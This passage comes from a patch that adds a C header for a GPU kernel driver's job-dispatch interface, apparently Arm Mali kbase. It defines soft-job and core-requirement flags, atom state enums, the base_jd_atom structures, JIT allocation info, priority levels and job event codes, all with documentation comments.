+ *
+ * This job requests a single or multiple just-in-time allocations created by
+ * BASE_JD_REQ_SOFT_JIT_ALLOC to be freed. The ID list of the just-in-time
+ * allocations is passed via the jc element of the atom.
+ *
+ * The job will complete immediately.
+ */
+#define BASE_JD_REQ_SOFT_JIT_FREE               (BASE_JD_REQ_SOFT_JOB | 0xa)
+
+/* SW only requirement: Map external resource
+ *
+ * This job requests external resource(s) are mapped once the dependencies
+ * of the job have been satisfied. The list of external resources are
+ * passed via the jc element of the atom which is a pointer to a
+ * base_external_resource_list.
+ */
+#define BASE_JD_REQ_SOFT_EXT_RES_MAP            (BASE_JD_REQ_SOFT_JOB | 0xb)
+
+/* SW only requirement: Unmap external resource
+ *
+ * This job requests external resource(s) are unmapped once the dependencies
+ * of the job has been satisfied. The list of external resources are
+ * passed via the jc element of the atom which is a pointer to a
+ * base_external_resource_list.
+ */
+#define BASE_JD_REQ_SOFT_EXT_RES_UNMAP          (BASE_JD_REQ_SOFT_JOB | 0xc)
+
+/* HW Requirement: Requires Compute shaders (but not Vertex or Geometry Shaders)
+ *
+ * This indicates that the Job Chain contains GPU jobs of the 'Compute
+ * Shaders' type.
+ *
+ * In contrast to BASE_JD_REQ_CS, this does not indicate that the Job
+ * Chain contains 'Geometry Shader' or 'Vertex Shader' jobs.
+ */
+#define BASE_JD_REQ_ONLY_COMPUTE    ((base_jd_core_req)1 << 10)
+
+/* HW Requirement: Use the base_jd_atom::device_nr field to specify a
+ * particular core group
+ *
+ * If both BASE_JD_REQ_COHERENT_GROUP and this flag are set, this flag
+ * takes priority
+ *
+ * This is only guaranteed to work for BASE_JD_REQ_ONLY_COMPUTE atoms.
+ *
+ * If the core availability policy is keeping the required core group turned
+ * off, then the job will fail with a BASE_JD_EVENT_PM_EVENT error code.
+ */
+#define BASE_JD_REQ_SPECIFIC_COHERENT_GROUP ((base_jd_core_req)1 << 11)
+
+/* SW Flag: If this bit is set then the successful completion of this atom
+ * will not cause an event to be sent to userspace
+ */
+#define BASE_JD_REQ_EVENT_ONLY_ON_FAILURE   ((base_jd_core_req)1 << 12)
+
+/* SW Flag: If this bit is set then completion of this atom will not cause an
+ * event to be sent to userspace, whether successful or not.
+ */
+#define BASEP_JD_REQ_EVENT_NEVER ((base_jd_core_req)1 << 14)
+
+/* SW Flag: Skip GPU cache clean and invalidation before starting a GPU job.
+ *
+ * If this bit is set then the GPU's cache will not be cleaned and invalidated
+ * until a GPU job starts which does not have this bit set or a job completes
+ * which does not have the BASE_JD_REQ_SKIP_CACHE_END bit set. Do not use
+ * if the CPU may have written to memory addressed by the job since the last job
+ * without this bit set was submitted.
+ */
+#define BASE_JD_REQ_SKIP_CACHE_START ((base_jd_core_req)1 << 15)
+
+/* SW Flag: Skip GPU cache clean and invalidation after a GPU job completes.
+ *
+ * If this bit is set then the GPU's cache will not be cleaned and invalidated
+ * until a GPU job completes which does not have this bit set or a job starts
+ * which does not have the BASE_JD_REQ_SKIP_CACHE_START bit set. Do not use
+ * if the CPU may read from or partially overwrite memory addressed by the job
+ * before the next job without this bit set completes.
+ */
+#define BASE_JD_REQ_SKIP_CACHE_END ((base_jd_core_req)1 << 16)
+
+/* Request the atom be executed on a specific job slot.
+ *
+ * When this flag is specified, it takes precedence over any existing job slot
+ * selection logic.
+ */
+#define BASE_JD_REQ_JOB_SLOT ((base_jd_core_req)1 << 17)
+
+/* SW-only requirement: The atom is the start of a renderpass.
+ *
+ * If this bit is set then the job chain will be soft-stopped if it causes the
+ * GPU to write beyond the end of the physical pages backing the tiler heap, and
+ * committing more memory to the heap would exceed an internal threshold. It may
+ * be resumed after running one of the job chains attached to an atom with
+ * BASE_JD_REQ_END_RENDERPASS set and the same renderpass ID. It may be
+ * resumed multiple times until it completes without memory usage exceeding the
+ * threshold.
+ *
+ * Usually used with BASE_JD_REQ_T.
+ */
+#define BASE_JD_REQ_START_RENDERPASS ((base_jd_core_req)1 << 18)
+
+/* SW-only requirement: The atom is the end of a renderpass.
+ *
+ * If this bit is set then the atom incorporates the CPU address of a
+ * base_jd_fragment object instead of the GPU address of a job chain.
+ *
+ * Which job chain is run depends upon whether the atom with the same renderpass
+ * ID and the BASE_JD_REQ_START_RENDERPASS bit set completed normally or
+ * was soft-stopped when it exceeded an upper threshold for tiler heap memory
+ * usage.
+ *
+ * It also depends upon whether one of the job chains attached to the atom has
+ * already been run as part of the same renderpass (in which case it would have
+ * written unresolved multisampled and otherwise-discarded output to temporary
+ * buffers that need to be read back). The job chain for doing a forced read and
+ * forced write (from/to temporary buffers) is run as many times as necessary.
+ *
+ * Usually used with BASE_JD_REQ_FS.
+ */
+#define BASE_JD_REQ_END_RENDERPASS ((base_jd_core_req)1 << 19)
+
+/* SW-only requirement: The atom needs to run on a limited core mask affinity.
+ *
+ * If this bit is set then the kbase_context.limited_core_mask will be applied
+ * to the affinity.
+ */
+#define BASE_JD_REQ_LIMITED_CORE_MASK ((base_jd_core_req)1 << 20)
+
+/* These requirement bits are currently unused in base_jd_core_req
+ */
+#define BASEP_JD_REQ_RESERVED \
+	(~(BASE_JD_REQ_ATOM_TYPE | BASE_JD_REQ_EXTERNAL_RESOURCES | \
+	BASE_JD_REQ_EVENT_ONLY_ON_FAILURE | BASEP_JD_REQ_EVENT_NEVER | \
+	BASE_JD_REQ_EVENT_COALESCE | \
+	BASE_JD_REQ_COHERENT_GROUP | BASE_JD_REQ_SPECIFIC_COHERENT_GROUP | \
+	BASE_JD_REQ_FS_AFBC | BASE_JD_REQ_PERMON | \
+	BASE_JD_REQ_SKIP_CACHE_START | BASE_JD_REQ_SKIP_CACHE_END | \
+	BASE_JD_REQ_JOB_SLOT | BASE_JD_REQ_START_RENDERPASS | \
+	BASE_JD_REQ_END_RENDERPASS | BASE_JD_REQ_LIMITED_CORE_MASK))
+
+/* Mask of all bits in base_jd_core_req that control the type of the atom.
+ *
+ * This allows dependency only atoms to have flags set
+ */
+#define BASE_JD_REQ_ATOM_TYPE \
+	(BASE_JD_REQ_FS | BASE_JD_REQ_CS | BASE_JD_REQ_T | BASE_JD_REQ_CF | \
+	BASE_JD_REQ_V | BASE_JD_REQ_SOFT_JOB | BASE_JD_REQ_ONLY_COMPUTE)
+
+/**
+ * Mask of all bits in base_jd_core_req that control the type of a soft job.
+ */
+#define BASE_JD_REQ_SOFT_JOB_TYPE (BASE_JD_REQ_SOFT_JOB | 0x1f)
+
+/* Returns non-zero value if core requirements passed define a soft job or
+ * a dependency only job.
+ */
+#define BASE_JD_REQ_SOFT_JOB_OR_DEP(core_req) \
+	(((core_req) & BASE_JD_REQ_SOFT_JOB) || \
+	((core_req) & BASE_JD_REQ_ATOM_TYPE) == BASE_JD_REQ_DEP)
+
+/**
+ * enum kbase_jd_atom_state
+ *
+ * @KBASE_JD_ATOM_STATE_UNUSED: Atom is not used.
+ * @KBASE_JD_ATOM_STATE_QUEUED: Atom is queued in JD.
+ * @KBASE_JD_ATOM_STATE_IN_JS:  Atom has been given to JS (is runnable/running).
+ * @KBASE_JD_ATOM_STATE_HW_COMPLETED: Atom has been completed, but not yet
+ *                                    handed back to job dispatcher for
+ *                                    dependency resolution.
+ * @KBASE_JD_ATOM_STATE_COMPLETED: Atom has been completed, but not yet handed
+ *                                 back to userspace.
+ */
+enum kbase_jd_atom_state {
+	KBASE_JD_ATOM_STATE_UNUSED,
+	KBASE_JD_ATOM_STATE_QUEUED,
+	KBASE_JD_ATOM_STATE_IN_JS,
+	KBASE_JD_ATOM_STATE_HW_COMPLETED,
+	KBASE_JD_ATOM_STATE_COMPLETED
+};
+
+/**
+ * typedef base_atom_id - Type big enough to store an atom number in.
+ */
+typedef __u8 base_atom_id;
+
+/**
+ * struct base_dependency -
+ *
+ * @atom_id:         An atom number
+ * @dependency_type: Dependency type
+ */
+struct base_dependency {
+	base_atom_id atom_id;
+	base_jd_dep_type dependency_type;
+};
+
+/**
+ * struct base_jd_fragment - Set of GPU fragment job chains used for rendering.
+ *
+ * @norm_read_norm_write: Job chain for full rendering.
+ *                        GPU address of a fragment job chain to render in the
+ *                        circumstance where the tiler job chain did not exceed
+ *                        its memory usage threshold and no fragment job chain
+ *                        was previously run for the same renderpass.
+ *                        It is used no more than once per renderpass.
+ * @norm_read_forced_write: Job chain for starting incremental
+ *                          rendering.
+ *                          GPU address of a fragment job chain to render in
+ *                          the circumstance where the tiler job chain exceeded
+ *                          its memory usage threshold for the first time and
+ *                          no fragment job chain was previously run for the
+ *                          same renderpass.
+ *                          Writes unresolved multisampled and normally-
+ *                          discarded output to temporary buffers that must be
+ *                          read back by a subsequent forced_read job chain
+ *                          before the renderpass is complete.
+ *                          It is used no more than once per renderpass.
+ * @forced_read_forced_write: Job chain for continuing incremental
+ *                            rendering.
+ *                            GPU address of a fragment job chain to render in
+ *                            the circumstance where the tiler job chain
+ *                            exceeded its memory usage threshold again
+ *                            and a fragment job chain was previously run for
+ *                            the same renderpass.
+ *                            Reads unresolved multisampled and
+ *                            normally-discarded output from temporary buffers
+ *                            written by a previous forced_write job chain and
+ *                            writes the same to temporary buffers again.
+ *                            It is used as many times as required until
+ *                            rendering completes.
+ * @forced_read_norm_write: Job chain for ending incremental rendering.
+ *                          GPU address of a fragment job chain to render in the
+ *                          circumstance where the tiler job chain did not
+ *                          exceed its memory usage threshold this time and a
+ *                          fragment job chain was previously run for the same
+ *                          renderpass.
+ *                          Reads unresolved multisampled and normally-discarded
+ *                          output from temporary buffers written by a previous
+ *                          forced_write job chain in order to complete a
+ *                          renderpass.
+ *                          It is used no more than once per renderpass.
+ *
+ * This structure is referenced by the main atom structure if
+ * BASE_JD_REQ_END_RENDERPASS is set in the base_jd_core_req.
+ */
+struct base_jd_fragment {
+	__u64 norm_read_norm_write;
+	__u64 norm_read_forced_write;
+	__u64 forced_read_forced_write;
+	__u64 forced_read_norm_write;
+};
+
+/**
+ * typedef base_jd_prio - Base Atom priority.
+ *
+ * Only certain priority levels are actually implemented, as specified by the
+ * BASE_JD_PRIO_<...> definitions below. It is undefined to use a priority
+ * level that is not one of those defined below.
+ *
+ * Priority levels only affect scheduling after the atoms have had dependencies
+ * resolved. For example, a low priority atom that has had its dependencies
+ * resolved might run before a higher priority atom that has not had its
+ * dependencies resolved.
+ *
+ * In general, fragment atoms do not affect non-fragment atoms with
+ * lower priorities, and vice versa. One exception is that there is only one
+ * priority value for each context. So a high-priority (e.g.) fragment atom
+ * could increase its context priority, causing its non-fragment atoms to also
+ * be scheduled sooner.
+ *
+ * The atoms are scheduled as follows with respect to their priorities:
+ * * Let atoms 'X' and 'Y' be for the same job slot who have dependencies
+ *   resolved, and atom 'X' has a higher priority than atom 'Y'
+ * * If atom 'Y' is currently running on the HW, then it is interrupted to
+ *   allow atom 'X' to run soon after
+ * * If instead neither atom 'Y' nor atom 'X' are running, then when choosing
+ *   the next atom to run, atom 'X' will always be chosen instead of atom 'Y'
+ * * Any two atoms that have the same priority could run in any order with
+ *   respect to each other. That is, there is no ordering constraint between
+ *   atoms of the same priority.
+ *
+ * The sysfs file 'js_ctx_scheduling_mode' is used to control how atoms are
+ * scheduled between contexts. The default value, 0, will cause higher-priority
+ * atoms to be scheduled first, regardless of their context. The value 1 will
+ * use a round-robin algorithm when deciding which context's atoms to schedule
+ * next, so higher-priority atoms can only preempt lower priority atoms within
+ * the same context. See KBASE_JS_SYSTEM_PRIORITY_MODE and
+ * KBASE_JS_PROCESS_LOCAL_PRIORITY_MODE for more details.
+ */
+typedef __u8 base_jd_prio;
+
+/* Medium atom priority. This is a priority higher than BASE_JD_PRIO_LOW */
+#define BASE_JD_PRIO_MEDIUM  ((base_jd_prio)0)
+/* High atom priority. This is a priority higher than BASE_JD_PRIO_MEDIUM and
+ * BASE_JD_PRIO_LOW
+ */
+#define BASE_JD_PRIO_HIGH    ((base_jd_prio)1)
+/* Low atom priority. */
+#define BASE_JD_PRIO_LOW     ((base_jd_prio)2)
+/* Real-Time atom priority. This is a priority higher than BASE_JD_PRIO_HIGH,
+ * BASE_JD_PRIO_MEDIUM, and BASE_JD_PRIO_LOW
+ */
+#define BASE_JD_PRIO_REALTIME    ((base_jd_prio)3)
+
+/* Count of the number of priority levels. This itself is not a valid
+ * base_jd_prio setting
+ */
+#define BASE_JD_NR_PRIO_LEVELS 4
+
+/**
+ * struct base_jd_atom_v2 - Node of a dependency graph used to submit a
+ *                          GPU job chain or soft-job to the kernel driver.
+ *
+ * @jc:            GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS
+ *                 is set in the base_jd_core_req) the CPU address of a
+ *                 base_jd_fragment object.
+ * @udata:         User data.
+ * @extres_list:   List of external resources.
+ * @nr_extres:     Number of external resources or JIT allocations.
+ * @jit_id:        Zero-terminated array of IDs of just-in-time memory
+ *                 allocations written to by the atom. When the atom
+ *                 completes, the value stored at the
+ *                 &struct_base_jit_alloc_info.heap_info_gpu_addr of
+ *                 each allocation is read in order to enforce an
+ *                 overall physical memory usage limit.
+ * @pre_dep:       Pre-dependencies. One need to use SETTER function to assign
+ *                 this field; this is done in order to reduce possibility of
+ *                 improper assignment of a dependency field.
+ * @atom_number:   Unique number to identify the atom.
+ * @prio:          Atom priority. Refer to base_jd_prio for more details.
+ * @device_nr:     Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP
+ *                 specified.
+ * @jobslot:       Job slot to use when BASE_JD_REQ_JOB_SLOT is specified.
+ * @core_req:      Core requirements.
+ * @renderpass_id: Renderpass identifier used to associate an atom that has
+ *                 BASE_JD_REQ_START_RENDERPASS set in its core requirements
+ *                 with an atom that has BASE_JD_REQ_END_RENDERPASS set.
+ * @padding:       Unused. Must be zero.
+ *
+ * This structure has changed since UK 10.2 for which base_jd_core_req was a
+ * __u16 value.
+ *
+ * In UK 10.3 a core_req field of a __u32 type was added to the end of the
+ * structure, and the place in the structure previously occupied by __u16
+ * core_req was kept but renamed to compat_core_req.
+ *
+ * From UK 11.20 - compat_core_req is now occupied by __u8 jit_id[2].
+ * Compatibility with UK 10.x from UK 11.y is not handled because
+ * the major version increase prevents this.
+ *
+ * For UK 11.20 jit_id[2] must be initialized to zero.
+ */
+struct base_jd_atom_v2 {
+	__u64 jc;
+	struct base_jd_udata udata;
+	__u64 extres_list;
+	__u16 nr_extres;
+	__u8 jit_id[2];
+	struct base_dependency pre_dep[2];
+	base_atom_id atom_number;
+	base_jd_prio prio;
+	__u8 device_nr;
+	__u8 jobslot;
+	base_jd_core_req core_req;
+	__u8 renderpass_id;
+	__u8 padding[7];
+};
+
+/**
+ * struct base_jd_atom - Same as base_jd_atom_v2, but has an extra seq_nr
+ *                          at the beginning.
+ *
+ * @seq_nr:        Sequence number of logical grouping of atoms.
+ * @jc:            GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS
+ *                 is set in the base_jd_core_req) the CPU address of a
+ *                 base_jd_fragment object.
+ * @udata:         User data.
+ * @extres_list:   List of external resources.
+ * @nr_extres:     Number of external resources or JIT allocations.
+ * @jit_id:        Zero-terminated array of IDs of just-in-time memory
+ *                 allocations written to by the atom. When the atom
+ *                 completes, the value stored at the
+ *                 &struct_base_jit_alloc_info.heap_info_gpu_addr of
+ *                 each allocation is read in order to enforce an
+ *                 overall physical memory usage limit.
+ * @pre_dep:       Pre-dependencies. One need to use SETTER function to assign
+ *                 this field; this is done in order to reduce possibility of
+ *                 improper assignment of a dependency field.
+ * @atom_number:   Unique number to identify the atom.
+ * @prio:          Atom priority. Refer to base_jd_prio for more details.
+ * @device_nr:     Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP
+ *                 specified.
+ * @jobslot:       Job slot to use when BASE_JD_REQ_JOB_SLOT is specified.
+ * @core_req:      Core requirements.
+ * @renderpass_id: Renderpass identifier used to associate an atom that has
+ *                 BASE_JD_REQ_START_RENDERPASS set in its core requirements
+ *                 with an atom that has BASE_JD_REQ_END_RENDERPASS set.
+ * @padding:       Unused. Must be zero.
+ */
+typedef struct base_jd_atom {
+	__u64 seq_nr;
+	__u64 jc;
+	struct base_jd_udata udata;
+	__u64 extres_list;
+	__u16 nr_extres;
+	__u8 jit_id[2];
+	struct base_dependency pre_dep[2];
+	base_atom_id atom_number;
+	base_jd_prio prio;
+	__u8 device_nr;
+	__u8 jobslot;
+	base_jd_core_req core_req;
+	__u8 renderpass_id;
+	__u8 padding[7];
+} base_jd_atom;
+
+struct base_jit_alloc_info {
+	__u64 gpu_alloc_addr;
+	__u64 va_pages;
+	__u64 commit_pages;
+	__u64 extension;
+	__u8 id;
+	__u8 bin_id;
+	__u8 max_allocations;
+	__u8 flags;
+	__u8 padding[2];
+	__u16 usage_id;
+	__u64 heap_info_gpu_addr;
+};
+
+/* Job chain event code bits
+ * Defines the bits used to create ::base_jd_event_code
+ */
+enum {
+	BASE_JD_SW_EVENT_KERNEL = (1u << 15), /* Kernel side event */
+	BASE_JD_SW_EVENT = (1u << 14), /* SW defined event */
+	/* Event indicates success (SW events only) */
+	BASE_JD_SW_EVENT_SUCCESS = (1u << 13),
+	BASE_JD_SW_EVENT_JOB = (0u << 11), /* Job related event */
+	BASE_JD_SW_EVENT_BAG = (1u << 11), /* Bag related event */
+	BASE_JD_SW_EVENT_INFO = (2u << 11), /* Misc/info event */
+	BASE_JD_SW_EVENT_RESERVED = (3u << 11),	/* Reserved event type */
+	/* Mask to extract the type from an event code */
+	BASE_JD_SW_EVENT_TYPE_MASK = (3u << 11)
+};
+
+/**
+ * enum base_jd_event_code - Job chain event codes
+ *
+ * @BASE_JD_EVENT_RANGE_HW_NONFAULT_START: Start of hardware non-fault status
+ *                                         codes.
+ *                                         Obscurely, BASE_JD_EVENT_TERMINATED
+ *                                         indicates a real fault, because the
+ *                                         job was hard-stopped.
+ * @BASE_JD_EVENT_NOT_STARTED: Can't be seen by userspace, treated as
+ *                             'previous job done'.
+ * @BASE_JD_EVENT_STOPPED:     Can't be seen by userspace, becomes
+ *                             TERMINATED, DONE or JOB_CANCELLED.
+ * @BASE_JD_EVENT_TERMINATED:  This is actually a fault status code - the job
+ *                             was hard stopped.
+ * @BASE_JD_EVENT_ACTIVE: Can't be seen by userspace, jobs only returned on
+ *                        complete/fail/cancel.
+ * @BASE_JD_EVENT_RANGE_HW_NONFAULT_END: End of hardware non-fault status codes.
+ *                                       Obscurely, BASE_JD_EVENT_TERMINATED
+ *                                       indicates a real fault,
+ *                                       because the job was hard-stopped.
+ * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START: Start of hardware fault and
+ *                                                  software error status codes.
+ * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END: End of hardware fault and
+ *                                                software error status codes.
+ * @BASE_JD_EVENT_RANGE_SW_SUCCESS_START: Start of software success status
+ *                                        codes.
+ * @BASE_JD_EVENT_RANGE_SW_SUCCESS_END: End of software success status codes.
+ * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_START: Start of kernel-only status codes.
+ *                                         Such codes are never returned to
+ *                                         user-space.
+ * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_END: End of kernel-only status codes.
+ * @BASE_JD_EVENT_DONE: atom has completed successfull
+ * @BASE_JD_EVENT_JOB_CONFIG_FAULT: Atom dependencies configuration error which
+ *                                  shall result in a failed atom
+ * @BASE_JD_EVENT_JOB_POWER_FAULT:  The job could not be executed because the
+ *                                  part of the memory system required to access
+ *                                  job descriptors was not powered on
+ * @BASE_JD_EVENT_JOB_READ_FAULT:   Reading a job descriptor into the Job
+ *                                  manager failed
+ * @BASE_JD_EVENT_JOB_WRITE_FAULT:  Writing a job descriptor from the Job
+ *                                  manager failed
+ * @BASE_JD_EVENT_JOB_AFFINITY_FAULT: The job could not be executed because the
+ *                                    specified affinity mask does not intersect
+ *                                    any available cores
+ * @BASE_JD_EVENT_JOB_BUS_FAULT:    A bus access failed while executing a job
+ * @BASE_JD_EVENT_INSTR_INVALID_PC: A shader instruction with an illegal program
+ *                                  counter was executed.
+ * @BASE_JD_EVENT_INSTR_INVALID_ENC: A shader instruction with an illegal
+ *                                  encoding was executed.
+ * @BASE_JD_EVENT_INSTR_TYPE_MISMATCH: A shader instruction was executed where
+ *                                  the instruction encoding did not match the
+ *                                  instruction type encoded in the program
+ *                                  counter.
+ * @BASE_JD_EVENT_INSTR_OPERAND_FAULT: A shader instruction was executed that
+ *                                  contained invalid combinations of operands.
+ * @BASE_JD_EVENT_INSTR_TLS_FAULT:  A shader instruction was executed that tried
+ *                                  to access the thread local storage section
+ *                                  of another thread.
+ * @BASE_JD_EVENT_INSTR_ALIGN_FAULT: A shader instruction was executed that
+ *                                  tried to do an unsupported unaligned memory
+ *                                  access.
+ * @BASE_JD_EVENT_INSTR_BARRIER_FAULT: A shader instruction was executed that
+ *                                  failed to complete an instruction barrier.
+ * @BASE_JD_EVENT_DATA_INVALID_FAULT: Any data structure read as part of the job
+ *                                  contains invalid combinations of data.
+ * @BASE_JD_EVENT_TILE_RANGE_FAULT: Tile or fragment shading was asked to
+ *                                  process a tile that is entirely outside the
+ *                                  bounding box of the frame.
+ * @BASE_JD_EVENT_STATE_FAULT:      Matches ADDR_RANGE_FAULT. A virtual address
+ *                                  has been found that exceeds the virtual
+ *                                  address range.
+ * @BASE_JD_EVENT_OUT_OF_MEMORY:    The tiler ran out of memory when executing a job.
+ * @BASE_JD_EVENT_UNKNOWN:          If multiple jobs in a job chain fail, only
+ *                                  the first one the reports an error will set
+ *                                  and return full error information.
+ *                                  Subsequent failing jobs will not update the
+ *                                  error status registers, and may write an
+ *                                  error status of UNKNOWN.
+ * @BASE_JD_EVENT_DELAYED_BUS_FAULT: The GPU received a bus fault for access to
+ *                                  physical memory where the original virtual
+ *                                  address is no longer available.
+ * @BASE_JD_EVENT_SHAREABILITY_FAULT: Matches GPU_SHAREABILITY_FAULT. A cache
+ *                                  has detected that the same line has been
+ *                                  accessed as both shareable and non-shareable
+ *                                  memory from inside the GPU.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1: A memory access hit an invalid table
+ *                                  entry at level 1 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2: A memory access hit an invalid table
+ *                                  entry at level 2 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3: A memory access hit an invalid table
+ *                                  entry at level 3 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4: A memory access hit an invalid table
+ *                                  entry at level 4 of the translation table.
+ * @BASE_JD_EVENT_PERMISSION_FAULT: A memory access could not be allowed due to
+ *                                  the permission flags set in translation
+ *                                  table
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1: A bus fault occurred while reading
+ *                                  level 0 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2: A bus fault occurred while reading
+ *                                  level 1 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3: A bus fault occurred while reading
+ *                                  level 2 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4: A bus fault occurred while reading
+ *                                  level 3 of the translation tables.
+ * @BASE_JD_EVENT_ACCESS_FLAG:      Matches ACCESS_FLAG_0. A memory access hit a
+ *                                  translation table entry with the ACCESS_FLAG
+ *                                  bit set to zero in level 0 of the
+ *                                  page table, and the DISABLE_AF_FAULT flag
+ *                                  was not set.
+ * @BASE_JD_EVENT_MEM_GROWTH_FAILED: raised for JIT_ALLOC atoms that failed to
+ *                                   grow memory on demand
+ * @BASE_JD_EVENT_JOB_CANCELLED: raised when this atom was hard-stopped or its
+ *                               dependencies failed
+ * @BASE_JD_EVENT_JOB_INVALID: raised for many reasons, including invalid data
+ *                             in the atom which overlaps with
+ *                             BASE_JD_EVENT_JOB_CONFIG_FAULT, or if the
+ *                             platform doesn't support the feature specified in
+ *                             the atom.
+ * @BASE_JD_EVENT_PM_EVENT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_TIMED_OUT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_BAG_INVALID:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_PROGRESS_REPORT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_BAG_DONE:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_DRV_TERMINATED: this is a special event generated to indicate
+ *                                to userspace that the KBase context has been
+ *                                destroyed and Base should stop listening for
+ *                                further events
+ * @BASE_JD_EVENT_REMOVED_FROM_NEXT: raised when an atom that was configured in
+ *                                   the GPU has to be retried (but it has not
+ *                                   started) due to e.g., GPU reset
+ * @BASE_JD_EVENT_END_RP_DONE: this is used for incremental rendering to signal
+ *                             the completion of a renderpass. This value
+ *                             shouldn't be returned to userspace but I haven't
+ *                             seen where it is reset back to JD_EVENT_DONE.
+ *
+ * HW and low-level SW events are represented by event codes.
+ * The status of jobs which succeeded are also represented by
+ * an event code (see @BASE_JD_EVENT_DONE).
+ * Events are usually reported as part of a &struct base_jd_event.
+ *
+ * The event codes are encoded in the following way:
+ * * 10:0  - subtype
+ * * 12:11 - type
+ * * 13    - SW success (only valid if the SW bit is set)
+ * * 14    - SW event (HW event if not set)
+ * * 15    - Kernel event (should never be seen in userspace)
+ *
+ * Events are split up into ranges as follows:
+ * * BASE_JD_EVENT_RANGE_<description>_START
+ * * BASE_JD_EVENT_RANGE_<description>_END
+ *
+ * code is in <description>'s range when:
+ * BASE_JD_EVENT_RANGE_<description>_START <= code <
+ *   BASE_JD_EVENT_RANGE_<description>_END
+ *
+ * Ranges can be asserted for adjacency by testing that the END of the previous
+ * is equal to the START of the next. This is useful for optimizing some tests
+ * for range.
+ *
+ * A limitation is that the last member of this enum must explicitly be handled
+ * (with an assert-unreachable statement) in switch statements that use
+ * variables of this type. Otherwise, the compiler warns that we have not
+ * handled that enum value.
+ */
+enum base_jd_event_code {
+	/* HW defined exceptions */
+	BASE_JD_EVENT_RANGE_HW_NONFAULT_START = 0,
+
+	/* non-fatal exceptions */
+	BASE_JD_EVENT_NOT_STARTED = 0x00,
+	BASE_JD_EVENT_DONE = 0x01,
+	BASE_JD_EVENT_STOPPED = 0x03,
+	BASE_JD_EVENT_TERMINATED = 0x04,
+	BASE_JD_EVENT_ACTIVE = 0x08,
+
+	BASE_JD_EVENT_RANGE_HW_NONFAULT_END = 0x40,
+	BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START = 0x40,
+
+	/* job exceptions */
+	BASE_JD_EVENT_JOB_CONFIG_FAULT = 0x40,
+	BASE_JD_EVENT_JOB_POWER_FAULT = 0x41,
+	BASE_JD_EVENT_JOB_READ_FAULT = 0x42,
+	BASE_JD_EVENT_JOB_WRITE_FAULT = 0x43,
+	BASE_JD_EVENT_JOB_AFFINITY_FAULT = 0x44,
+	BASE_JD_EVENT_JOB_BUS_FAULT = 0x48,
+	BASE_JD_EVENT_INSTR_INVALID_PC = 0x50,
+	BASE_JD_EVENT_INSTR_INVALID_ENC = 0x51,
+	BASE_JD_EVENT_INSTR_TYPE_MISMATCH = 0x52,
+	BASE_JD_EVENT_INSTR_OPERAND_FAULT = 0x53,
+	BASE_JD_EVENT_INSTR_TLS_FAULT = 0x54,
+	BASE_JD_EVENT_INSTR_BARRIER_FAULT = 0x55,
+	BASE_JD_EVENT_INSTR_ALIGN_FAULT = 0x56,
+	BASE_JD_EVENT_DATA_INVALID_FAULT = 0x58,
+	BASE_JD_EVENT_TILE_RANGE_FAULT = 0x59,
+	BASE_JD_EVENT_STATE_FAULT = 0x5A,
+	BASE_JD_EVENT_OUT_OF_MEMORY = 0x60,
+	BASE_JD_EVENT_UNKNOWN = 0x7F,
+
+	/* GPU exceptions */
+	BASE_JD_EVENT_DELAYED_BUS_FAULT = 0x80,
+	BASE_JD_EVENT_SHAREABILITY_FAULT = 0x88,
+
+	/* MMU exceptions */
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1 = 0xC1,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2 = 0xC2,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3 = 0xC3,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4 = 0xC4,
+	BASE_JD_EVENT_PERMISSION_FAULT = 0xC8,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1 = 0xD1,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2 = 0xD2,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3 = 0xD3,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4 = 0xD4,
+	BASE_JD_EVENT_ACCESS_FLAG = 0xD8,
+
+	/* SW defined exceptions */
+	BASE_JD_EVENT_MEM_GROWTH_FAILED =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_TIMED_OUT =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x001,
+	BASE_JD_EVENT_JOB_CANCELLED =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x002,
+	BASE_JD_EVENT_JOB_INVALID =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x003,
+	BASE_JD_EVENT_PM_EVENT =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x004,
+
+	BASE_JD_EVENT_BAG_INVALID =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_BAG | 0x003,
+
+	BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_RESERVED | 0x3FF,
+
